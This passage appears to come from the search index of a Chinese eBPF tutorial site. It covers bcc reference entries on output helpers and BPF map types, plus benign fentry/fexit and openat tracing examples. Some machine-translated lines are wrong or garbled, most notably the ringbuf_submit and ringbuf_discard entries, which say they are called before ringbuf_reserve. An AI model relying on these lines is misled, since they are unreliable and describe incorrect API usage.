该函数将一个以NULL结尾的字符串从用户地址空间复制到BPF栈中，以便BPF之后可以操作它。如果字符串长度小于size，则目标不会用额外的NULL字节填充。如果字符串长度大于size，则只会复制size - 1字节，并将最后一字节设置为NULL。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 11. bpf_probe_read_user_str()","id":"263","title":"11. bpf_probe_read_user_str()"},"264":{"body":"语法：u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info*nsdata, u32 size)。从当前 命名空间 中看到的 pid 和 tgid 的值将在 nsdata 中返回。 成功返回0，失败时返回以下之一： 如果提供的dev和inum与当前任务的nsfs的dev_t和inode号不匹配，或者dev转换为dev_t丢失了高位，则返回**-EINVAL**。 如果当前任务的pidns不存在，则返回**-ENOENT**。 原地示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 12. bpf_get_ns_current_pid_tgid()","id":"264","title":"12. bpf_get_ns_current_pid_tgid()"},"265":{"body":"","breadcrumbs":"bcc Reference Guide » 调试","id":"265","title":"调试"},"266":{"body":"语法：int bpf_override_return(struct pt_regs *, unsigned long rc) 返回值：成功时返回0 当用于附加到函数入口的程序时，会导致该函数的执行被跳过，立即返回rc。这用于目标错误注入。 仅当允许错误注入时，bpf_override_return才有效。白名单列表中需要在内核源代码中给一个函数打上 ALLOW_ERROR_INJECTION() 的标签；参考 io_ctl_init 的示例。如果该函数未被加入白名单，bpf程序将无法附加，出现 ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument 错误。 int kprobe__io_ctl_init(void *ctx) { bpf_override_return(ctx, -ENOMEM); return 0;\n}","breadcrumbs":"bcc Reference Guide » 1. bpf_override_return()","id":"266","title":"1. bpf_override_return()"},"267":{"body":"","breadcrumbs":"bcc Reference Guide » 输出","id":"267","title":"输出"},"268":{"body":"语法：int bpf_trace_printk(const char *fmt, ...) 返回值：成功时返回0 对于通常的trace_pipe (/sys/kernel/debug/tracing/trace_pipe)提供了一个简单的内核printf()功能。这对于一些快速示例是可以接受的，但有一些限制：最多3个参数，只有一个%s，而且trace_pipe是全局共享的，所以并发程序会有冲突输出。更好的接口是通过BPF_PERF_OUTPUT()。注意，与原始内核版本相比，调用这个辅助函数变得更简单，它的第二个参数已经是 fmt_size。 原地示例：\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. bpf_trace_printk()","id":"268","title":"1. bpf_trace_printk()"},"269":{"body":"语法：BPF_PERF_OUTPUT(name) 创建一个BPF表格，通过性能环形缓冲区将自定义事件数据推送到用户空间。这是将每个事件数据推送到用户空间的首选方法。 例如： struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n} 输出表格名为events，数据通过events.perf_submit()推送到该表格。 示例中包含以下内容： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. BPF_PERF_OUTPUT","id":"269","title":"2. BPF_PERF_OUTPUT"},"27":{"body":"fentry（function entry）和 fexit（function exit）是 eBPF（扩展的伯克利包过滤器）中的两种探针类型，用于在 Linux 内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 与 kprobes 相比，fentry 和 fexit 程序有更高的性能和可用性。在这个例子中，我们可以直接访问函数的指针参数，就像在普通的 C 代码中一样，而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于，fexit 程序可以访问函数的输入参数和返回值，而 kretprobe 只能访问返回值。从 5.5 内核开始，fentry 和 fexit 对 eBPF 程序可用。 #include \"vmlinux.h\"\n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"fentry/do_unlinkat\")\nint BPF_PROG(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fentry: pid = %d, filename = %s\\n\", pid, name->name); return 0;\n} SEC(\"fexit/do_unlinkat\")\nint BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fexit: pid = %d, filename = %s, ret = %ld\\n\", pid, name->name, ret); return 0;\n} 这段程序是用 C 语言编写的 eBPF（扩展的伯克利包过滤器）程序，它使用 BPF 的 fentry 和 fexit 探针来跟踪 Linux 内核函数 do_unlinkat。在这个教程中，我们将以这段程序作为示例，让您学会如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 程序包含以下部分： 包含头文件：包括 vmlinux.h（用于访问内核数据结构）、bpf/bpf_helpers.h（包含eBPF帮助函数）、bpf/bpf_tracing.h（用于eBPF跟踪相关功能）。 定义许可证：这里定义了一个名为 LICENSE 的字符数组，包含许可证信息“Dual BSD/GPL”。 定义 fentry 探针：我们定义了一个名为 BPF_PROG(do_unlinkat) 的 fentry 探针，该探针在 do_unlinkat 函数的入口处被触发。这个探针获取当前进程的 PID（进程ID）并将其与文件名一起打印到内核日志。 定义 fexit 探针：我们还定义了一个名为 BPF_PROG(do_unlinkat_exit) 的 fexit 探针，该探针在 do_unlinkat 函数的退出处被触发。与 fentry 探针类似，这个探针也会获取当前进程的 PID 并将其与文件名和返回值一起打印到内核日志。 通过这个示例，您可以学习如何在 eBPF 中使用 fentry 和 fexit 探针来监控和捕获内核函数调用，例如在本教程中的 unlink 系统调用。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc fentry-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 在另外一个窗口中： touch test_file\nrm test_file\ntouch test_file2\nrm test_file2 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » Fentry","id":"27","title":"Fentry"},"270":{"body":"语法：int perf_submit((void *)ctx, (void*)data, u32 data_size) 返回值：成功返回0 这是BPF_PERF_OUTPUT表格的一种方法，用于向用户空间提交自定义事件数据。参见BPF_PERF_OUTPUT条目（最终调用bpf_perf_event_output()）。 ctx参数在 kprobes 或 kretprobes 中提供。对于SCHED_CLS或SOCKET_FILTER程序，必须使用struct __sk_buff *skb。 示例中包含以下内容： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 3. perf_submit()","id":"270","title":"3. perf_submit()"},"271":{"body":"语法：int perf_submit_skb((void *)ctx, u32 packet_size, (void*)data, u32 data_size) 返回值：成功返回0\".一种在网络程序类型中可用的BPF_PERF_OUTPUT表的方法，用于将自定义事件数据和数据包缓冲区的前packet_size字节一起提交到用户空间。请参阅BPF_PERF_OUTPUT条目。（最终调用bpf_perf_event_output()函数。） 现场示例： 搜索/examples 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. perf_submit_skb()","id":"271","title":"4. perf_submit_skb()"},"272":{"body":"语法：BPF_RINGBUF_OUTPUT(name, page_cnt) 创建一个BPF表，通过一个环形缓冲区将自定义事件数据推送到用户空间。 BPF_RINGBUF_OUTPUT相较于BPF_PERF_OUTPUT具有以下几个优点： 缓冲区在所有CPU之间共享，即每个CPU不需要单独分配 支持两种BPF程序的API map.ringbuf_output()类似于map.perf_submit()（在 ringbuf_output 中介绍） map.ringbuf_reserve()/map.ringbuf_submit()/map.ringbuf_discard()将保留缓冲区空间和提交事件的过程分为两步（在 ringbuf_reserve 、 ringbuf_submit 和 ringbuf_discard 中介绍） BPF API不需要访问CPU ctx参数 通过共享的环形缓冲区管理器，在用户空间中具有更高的性能和更低的延迟 支持两种在用户空间中消费数据的方式 从Linux 5.8开始，这应该是将事件数据推送到用户空间的首选方法。 输出表命名为'事件'。数据通过'事件'。ringbuf_reserve（）分配，并通过'事件'。ringbuf_submit（）推送到其中。 在situ示例： 搜索/示例 ，","breadcrumbs":"bcc Reference Guide » 5. BPF_RINGBUF_OUTPUT","id":"272","title":"5. BPF_RINGBUF_OUTPUT"},"273":{"body":"语法：int ringbuf_output（（void *）data，u64 data_size，u64 flags） 返回：成功返回0 标志： BPF_RB_NO_WAKEUP：不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP：无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于将自定义事件数据提交给用户空间。此方法类似于perf_submit（），但不需要ctx参数。 在situ示例： 搜索/示例 ，","breadcrumbs":"bcc Reference Guide » 6. ringbuf_output（）","id":"273","title":"6. ringbuf_output（）"},"274":{"body":"语法：void * ringbuf_reserve（u64 data_size） 返回：成功时返回数据结构的指针，失败时返回NULL BPF_RINGBUF_OUTPUT表的方法，用于在环形缓冲区中保留空间并同时分配一个用于输出的数据结构。必须与ringbuf_submit或ringbuf_discard之一配合使用。 在situ示例： [搜索/示例]（ https://github.com/iovisor/bcc/search?q=ringbuf_reserve+path%3Aexamples&type=Code），","breadcrumbs":"bcc Reference Guide » 7. ringbuf_reserve()","id":"274","title":"7. ringbuf_reserve()"},"275":{"body":"语法：void ringbuf_submit（（void *）data，u64 flags） 返回：无，始终成功 标志：- BPF_RB_NO_WAKEUP: 不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于将自定义事件数据提交到用户态。必须在调用ringbuf_reserve()之前调用，以为数据预留空间。 现场示例： 搜索/examples ,","breadcrumbs":"bcc Reference Guide » 8. ringbuf_submit（）","id":"275","title":"8. ringbuf_submit（）"},"276":{"body":"语法: void ringbuf_discard((void *)data, u64 flags) 返回值: 无，始终成功 标志: BPF_RB_NO_WAKEUP: 不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于丢弃自定义事件数据；用户空间将忽略与丢弃事件相关联的数据。必须在调用ringbuf_reserve()之前调用，以为数据预留空间。 现场示例： 搜索/examples ,","breadcrumbs":"bcc Reference Guide » 9. ringbuf_discard()","id":"276","title":"9. ringbuf_discard()"},"277":{"body":"Maps是BPF数据存储，是更高级对象类型（包括表、哈希和直方图）的基础。","breadcrumbs":"bcc Reference Guide » Maps","id":"277","title":"Maps"},"278":{"body":"语法: BPF_TABLE(_table_type,_key_type, _leaf_type,_name, _max_entries) 创建名为_name的映射。大多数情况下，这将通过更高级的宏（如BPF_HASH、BPF_ARRAY、BPF_HISTOGRAM等）使用。 BPF_F_TABLE是一个变体，最后一个参数采用标志。BPF_TABLE(https://github.com/iovisor/bcc/tree/master.)实际上是`BPF_F_TABLE( https://github.com/iovisor/bcc/tree/master ., 0 / flag /)```的包装。 方法（稍后讨论）：map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。 现场示例： 搜索/examples ,\" 搜索 /工具 固定映射 语法: BPF_TABLE_PINNED(_table_type,_key_type, _leaf_type,_name, _max_entries, \"/sys/fs/bpf/xyz\") 如果映射不存在，则创建一个新的映射并将其固定到bpffs作为文件；否则使用已固定到bpffs的映射。类型信息不强制执行，实际的映射类型取决于固定到位置的映射。 例如: BPF_TABLE_PINNED(\"hash\", u64, u64, ids, 1024, \"/sys/fs/bpf/ids\");","breadcrumbs":"bcc Reference Guide » 1. BPF_TABLE","id":"278","title":"1. BPF_TABLE"},"279":{"body":"语法: BPF_HASH(name [, key_type [, leaf_type [, size]]]) 创建一个哈希映射（关联数组），名称为name，具有可选参数。 默认值: BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240) 例如: BPF_HASH(start, struct request *); 这将创建一个名为start的哈希，其中关键字为struct request *，值默认为u64。此哈希由disksnoop.py示例用于保存每个I/O请求的时间戳，其中关键字是指向struct request的指针，而值是时间戳。 这是BPF_TABLE(\"hash\", ...)的包装宏。 方法（稍后涵盖）：map.lookup()，map.lookup_or_try_init()，map.delete()，map.update()，map.insert()，map.increment()。 示例中的原位置链接： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. BPF_HASH","id":"279","title":"2. BPF_HASH"},"28":{"body":"这段程序是一个 eBPF 程序，通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数，并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程的 ID、文件名和返回值，并在内核日志中打印出来。 编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令，并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » 总结","id":"28","title":"总结"},"280":{"body":"语法: BPF_ARRAY(name [, leaf_type [, size]]) 创建一个以整数索引的数组，最快速的查找和更新为优化，名称为name，具有可选参数。 默认值: BPF_ARRAY(name, leaf_type=u64, size=10240) 例如: BPF_ARRAY(counts, u64, 32); 这将创建一个名为counts的数组，其中有32个存储桶和64位整数值。funccount.py示例使用此数组保存每个函数的调用计数。\".这是一个 BPF_TABLE(\"array\", ...) 的包装宏。 方法（稍后介绍）：map.lookup()、map.update()、map.increment()。注意，所有数组元素都预先分配为零值，无法删除。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 3. BPF_ARRAY","id":"280","title":"3. BPF_ARRAY"},"281":{"body":"语法：BPF_HISTOGRAM(name [, key_type [, size ]]) 创建一个名为 name 的直方图映射，包含可选参数。 默认值：BPF_HISTOGRAM(name, key_type=int, size=64) 例如： BPF_HISTOGRAM(dist); 这创建了一个名为 dist 的直方图，默认有 64 个桶，以 int 类型的键索引。 这是一个 BPF_TABLE(\"histgram\", ...) 的包装宏。 方法（稍后介绍）：map.increment()。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. BPF_HISTOGRAM","id":"281","title":"4. BPF_HISTOGRAM"},"282":{"body":"语法：BPF_STACK_TRACE(name, max_entries) 创建一个名为 name 的堆栈跟踪映射，提供最大条目数。这些映射用于存储堆栈跟踪。 例如： BPF_STACK_TRACE(stack_traces, 1024); 这创建了一个名为 stack_traces 的堆栈跟踪映射，最大堆栈跟踪条目数为 1024。 这是一个 BPF_TABLE(\"stacktrace\", ...) 的包装宏。 方法（稍后介绍）：map.get_stackid()。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. BPF_STACK_TRACE","id":"282","title":"5. BPF_STACK_TRACE"},"283":{"body":"语法：BPF_PERF_ARRAY(name, max_entries) 创建一个名为 name 的 perf 数组，提供最大条目数，该数必须等于系统 CPU 的数量。这些映射用于获取硬件性能计数器。例如： text=\"\"\"\nBPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);\n\"\"\"\nb = bcc.BPF(text=text, cflags=[\"-DNUM_CPUS=%d\" % multiprocessing.cpu_count()])\nb[\"cpu_cycles\"].open_perf_event(b[\"cpu_cycles\"].HW_CPU_CYCLES) 这将创建一个名为cpu_cycles的性能数组，条目数量等于CPU核心数。该数组被配置为，稍后调用map.perf_read()将返回从过去某一时刻开始计算的硬件计数器的周期数。每个表只能配置一种类型的硬件计数器。 方法（稍后介绍）：map.perf_read()。 现场示例： 搜索 /tests","breadcrumbs":"bcc Reference Guide » 6. BPF_PERF_ARRAY","id":"283","title":"6. BPF_PERF_ARRAY"},"284":{"body":"语法：BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]]) 创建NUM_CPU个以int索引的哈希映射（关联数组），名为name，具有可选参数。每个CPU都会有一个单独的该数组副本。这些副本不以任何方式进行同步。 请注意，由于内核中定义的限制（位于linux/mm/percpu.c中），leaf_type的大小不能超过32KB。 换句话说，BPF_PERCPU_HASH元素的大小不能超过32KB。 默认值：BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240) 例如： BPF_PERCPU_HASH(start, struct request *); 这将创建名为start的NUM_CPU个哈希，其中键为struct request *，值默认为u64。 这是对BPF_TABLE(\"percpu_hash\", ...)的包装宏。 方法（稍后介绍）：map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。 现场示例： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 7. BPF_PERCPU_HASH","id":"284","title":"7. BPF_PERCPU_HASH"},"285":{"body":"语法：BPF_PERCPU_ARRAY(name [, leaf_type [, size]])。创建name的NUM_CPU个按整数索引优化的数组，以实现最快的查找和更新，具有可选参数。每个CPU都会有一个单独的副本。这些副本不能以任何方式同步。 请注意，由于内核（在linux/mm/percpu.c中）定义的限制，leaf_type的大小不能超过32KB。 换句话说，BPF_PERCPU_ARRAY元素的大小不能超过32KB。 默认值：BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240) 例如： BPF_PERCPU_ARRAY(counts, u64, 32); 这将创建NUM_CPU个名为counts的数组，其中每个数组有32个桶和64位整数值。 这是BPF_TABLE(\"percpu_array\", ...)的包装宏。 方法（稍后介绍）：map.lookup()，map.update()，map.increment()。请注意，所有数组元素都预先分配为零值，并且不能被删除。 In situ示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 8. BPF_PERCPU_ARRAY","id":"285","title":"8. BPF_PERCPU_ARRAY"},"286":{"body":"语法：BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]]) 创建一个名为name的最长前缀匹配字典树映射，带有可选参数。 默认值：BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240) 例如： BPF_LPM_TRIE(trie, struct key_v6); 这将创建一个名为trie的LPM字典树映射，其中键是struct key_v6，值默认为u64。 这是一个对BPF_F_TABLE(\"lpm_trie\", ..., BPF_F_NO_PREALLOC)的包装宏。 方法（稍后介绍）：map.lookup()，map.lookup_or_try_init()，map.delete()，map.update()，map.insert()，map.increment()。 In situ示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 9. BPF_LPM_TRIE","id":"286","title":"9. BPF_LPM_TRIE"},"287":{"body":"语法：BPF_PROG_ARRAY(name, size)。创建一个名为 name 的程序数组，其中包含 size 个条目。数组的每个条目要么是指向一个 bpf 程序的文件描述符，要么是 NULL。该数组作为一个跳转表，以便 bpf 程序可以“尾调用”其他 bpf 程序。 这是一个 BPF_TABLE(\"prog\", ...) 的包装宏。 方法（稍后介绍）：map.call()。 实时示例： 搜索 /examples , 搜索 /tests , 分配 fd","breadcrumbs":"bcc Reference Guide » 10. BPF_PROG_ARRAY","id":"287","title":"10. BPF_PROG_ARRAY"},"288":{"body":"语法：BPF_DEVMAP(name, size) 这创建了一个名为 name 的设备映射，其中包含 size 个条目。映射的每个条目都是一个网络接口的 ifindex。此映射仅在 XDP 中使用。 例如： BPF_DEVMAP(devmap, 10); 方法（稍后介绍）：map.redirect_map()。 实时示例： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 11. BPF_DEVMAP","id":"288","title":"11. BPF_DEVMAP"},"289":{"body":"语法：BPF_CPUMAP(name, size) 这创建了一个名为 name 的 CPU 映射，其中包含 size 个条目。映射的索引表示 CPU 的 ID，每个条目是为 CPU 分配的环形缓冲区的大小。此映射仅在 XDP 中使用。 例如： BPF_CPUMAP(cpumap, 16); 方法（稍后介绍）：map.redirect_map()。 实时示例： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 12. BPF_CPUMAP","id":"289","title":"12. BPF_CPUMAP"},"29":{"body":"eBPF（Extended Berkeley Packet Filter）是一种内核执行环境，它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大，是因为它能够在内核运行时捕获和修改数据包或者系统调用，从而实现对操作系统行为的监控和调整。 本文是 eBPF 入门开发实践教程的第四篇，主要介绍如何捕获进程打开文件的系统调用集合，并使用全局变量在 eBPF 中过滤进程 pid。 在 Linux 系统中，进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口，它们允许用户态程序请求内核执行特定操作。在本教程中，我们关注的是 sys_openat 系统调用，它用于打开文件。 当进程打开一个文件时，它会向内核发出 sys_openat 系统调用，并传递相关参数（例如文件路径、打开模式等）。内核会处理这个请求，并返回一个文件描述符（file descriptor），这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用，我们可以了解进程在什么时候以及如何打开文件。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid","id":"29","title":"eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid"},"290":{"body":"语法：BPF_XSKMAP(name, size [, \"/sys/fs/bpf/xyz\"])。这将创建一个名为name的xsk映射，带有size个条目，并将其固定到bpffs作为一个文件。每个条目表示一个NIC的队列ID。该映射仅在XDP中用于将数据包重定向到AF_XDP套接字。如果AF_XDP套接字绑定到与当前数据包的队列ID不同的队列，则数据包将被丢弃。对于内核v5.3及更高版本，“lookup”方法可用于检查当前数据包的队列ID是否可用于AF_XDP套接字。有关详细信息，请参阅 AF_XDP 。 例如： BPF_XSKMAP(xsks_map, 8); 方法（稍后涵盖）：map.redirect_map()。map.lookup() 现场示例： search /examples ,","breadcrumbs":"bcc Reference Guide » 13. BPF_XSKMAP","id":"290","title":"13. BPF_XSKMAP"},"291":{"body":"语法：BPF_ARRAY_OF_MAPS(name, inner_map_name, size) 这将创建一个带有映射内部类型（BPF_MAP_TYPE_HASH_OF_MAPS）的数组映射，名称为name，包含size个条目。映射的内部元数据由映射inner_map_name提供，可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。 例如： BPF_TABLE(\"hash\", int, int, ex1, 1024);\nBPF_TABLE(\"hash\", int, int, ex2, 1024);\nBPF_ARRAY_OF_MAPS(maps_array, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 14. BPF_ARRAY_OF_MAPS","id":"291","title":"14. BPF_ARRAY_OF_MAPS"},"292":{"body":"语法：BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size) 这将创建一个带有映射内部类型（BPF_MAP_TYPE_HASH_OF_MAPS）的哈希映射，名称为name，包含size个条目。映射的内部元数据由映射inner_map_name提供，可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。 例如： BPF_ARRAY(ex1, int, 1024);\nBPF_ARRAY(ex2, int, 1024);\nBPF_HASH_OF_MAPS(maps_hash, struct custom_key, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 15. BPF_HASH_OF_MAPS","id":"292","title":"15. BPF_HASH_OF_MAPS"},"293":{"body":"语法：BPF_STACK(name, leaf_type, max_entries[, flags])。创建一个名为 name 的堆栈，其值类型为 leaf_type，最大条目数为 max_entries。 堆栈和队列映射仅适用于 Linux 4.20+。 例如: BPF_STACK(stack, struct event, 10240); 这将创建一个名为 stack 的堆栈，其值类型为 struct event，最多可容纳 10240 个条目。 方法（后面会涉及）：map.push()、map.pop()、map.peek()。 示例： 在 search /tests 中。","breadcrumbs":"bcc Reference Guide » 16. BPF_STACK","id":"293","title":"16. BPF_STACK"},"294":{"body":"语法：BPF_QUEUE(name, leaf_type, max_entries[, flags]) 创建一个名为 name 的队列，其值类型为 leaf_type，最大条目数为 max_entries。 堆栈和队列映射仅适用于 Linux 4.20+。 例如： BPF_QUEUE(queue, struct event, 10240); 这将创建一个名为 queue 的队列，其值类型为 struct event，最多可容纳 10240 个条目。 方法（后面会涉及）：map.push()、map.pop()、map.peek()。 示例： 在 search /tests 中。","breadcrumbs":"bcc Reference Guide » 17. BPF_QUEUE","id":"294","title":"17. BPF_QUEUE"},"295":{"body":"语法：BPF_SOCKHASH(name[, key_type [, max_entries) 创建一个名为 name 的哈希，带有可选参数。sockhash仅适用于Linux 4.18+。 默认值：BPF_SOCKHASH(name, key_type=u32, max_entries=10240) 例如： struct sock_key { u32 remote_ip4; u32 local_ip4; u32 remote_port; u32 local_port;\n};\nBPF_HASH(skh, struct sock_key, 65535); 这将创建一个名为 skh 的哈希表，其中键是 struct sock_key。 sockhash是一种BPF映射类型，它保存对sock结构体的引用。然后，通过使用新的sk/msg重定向BPF辅助函数，BPF程序可以使用该映射在套接字之间重定向skbs/msgs（map.sk_redirect_hash()/map.msg_redirect_hash()）。BPF_SOCKHASH和BPF_SOCKMAP的区别在于BPF_SOCKMAP是基于数组实现的，并且强制键为四个字节。 而BPF_SOCKHASH是基于哈希表实现的，并且键的类型可以自由指定。 方法（稍后介绍）：map.sock_hash_update()，map.msg_redirect_hash()，map.sk_redirect_hash()。 搜索/tests","breadcrumbs":"bcc Reference Guide » 18. BPF_SOCKHASH","id":"295","title":"18. BPF_SOCKHASH"},"296":{"body":"语法：*val map.lookup(&key) 在映射中查找键，如果存在则返回指向其值的指针，否则返回NULL。我们将键作为指针的地址传入。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 19. map.lookup()","id":"296","title":"19. map.lookup()"},"297":{"body":"语法：*val map.lookup_or_try_init(&key, &zero) 在映射中查找键，如果存在则返回指向其值的指针，否则将键的值初始化为第二个参数。通常用于将值初始化为零。如果无法插入键（例如映射已满），则返回NULL。 示例： 搜索/examples , 搜索/tools 注意：旧的map.lookup_or_init()可能导致函数返回，因此建议使用lookup_or_try_init()，它没有这种副作用。","breadcrumbs":"bcc Reference Guide » 20. map.lookup_or_try_init()","id":"297","title":"20. map.lookup_or_try_init()"},"298":{"body":"语法：map.delete(&key) 从哈希表中删除键。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 21. map.delete()","id":"298","title":"21. map.delete()"},"299":{"body":"语法：map.update(&key, &val) 将第二个参数中的值与键关联，覆盖任何先前的值。 示例：\" 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 22. map.update()","id":"299","title":"22. map.update()"},"3":{"body":"本文不会对 eBPF 的原理做更详细的介绍，不过这里有一个学习规划和参考资料，也许会有一些价值：","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 2. 关于如何学习 eBPF 相关的开发的一些建议","id":"3","title":"2. 关于如何学习 eBPF 相关的开发的一些建议"},"30":{"body":"首先，我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用，具体实现如下： #include \n#include  /// @description \"Process ID to trace\"\nconst volatile int pid_target = 0; SEC(\"tracepoint/syscalls/sys_enter_openat\")\nint tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)\n{ u64 id = bpf_get_current_pid_tgid(); u32 pid = id >> 32; if (pid_target && pid_target != pid) return false; // Use bpf_printk to print the process information bpf_printk(\"Process ID: %d enter sys openat\\n\", pid); return 0;\n} /// \"Trace open family syscalls.\"\nchar LICENSE[] SEC(\"license\") = \"GPL\"; 这段 eBPF 程序实现了： 引入头文件： 包含了内核数据结构的定义， 包含了 eBPF 程序所需的辅助函数。 定义全局变量 pid_target，用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 使用 SEC 宏定义一个 eBPF 程序，关联到 tracepoint \"tracepoint/syscalls/sys_enter_openat\"。这个 tracepoint 会在进程发起 sys_openat 系统调用时触发。 实现 eBPF 程序 tracepoint__syscalls__sys_enter_openat，它接收一个类型为 struct trace_event_raw_sys_enter 的参数 ctx。这个结构体包含了关于系统调用的信息。 使用 bpf_get_current_pid_tgid() 函数获取当前进程的 PID 和 TID（线程 ID）。由于我们只关心 PID，所以将其值右移 32 位赋值给 u32 类型的变量 pid。 检查 pid_target 变量是否与当前进程的 pid 相等。如果 pid_target 不为 0 且与当前进程的 pid 不相等，则返回 false，不对该进程的 sys_openat 调用进行捕获。 使用 bpf_printk() 函数打印捕获到的进程 ID 和 sys_openat 调用的相关信息。这些信息可以在用户空间通过 BPF 工具查看。 将程序许可证设置为 \"GPL\"，这是运行 eBPF 程序的必要条件。 这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程（或所有进程）的 sys_openat 系统调用，并在用户空间输出相关信息。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 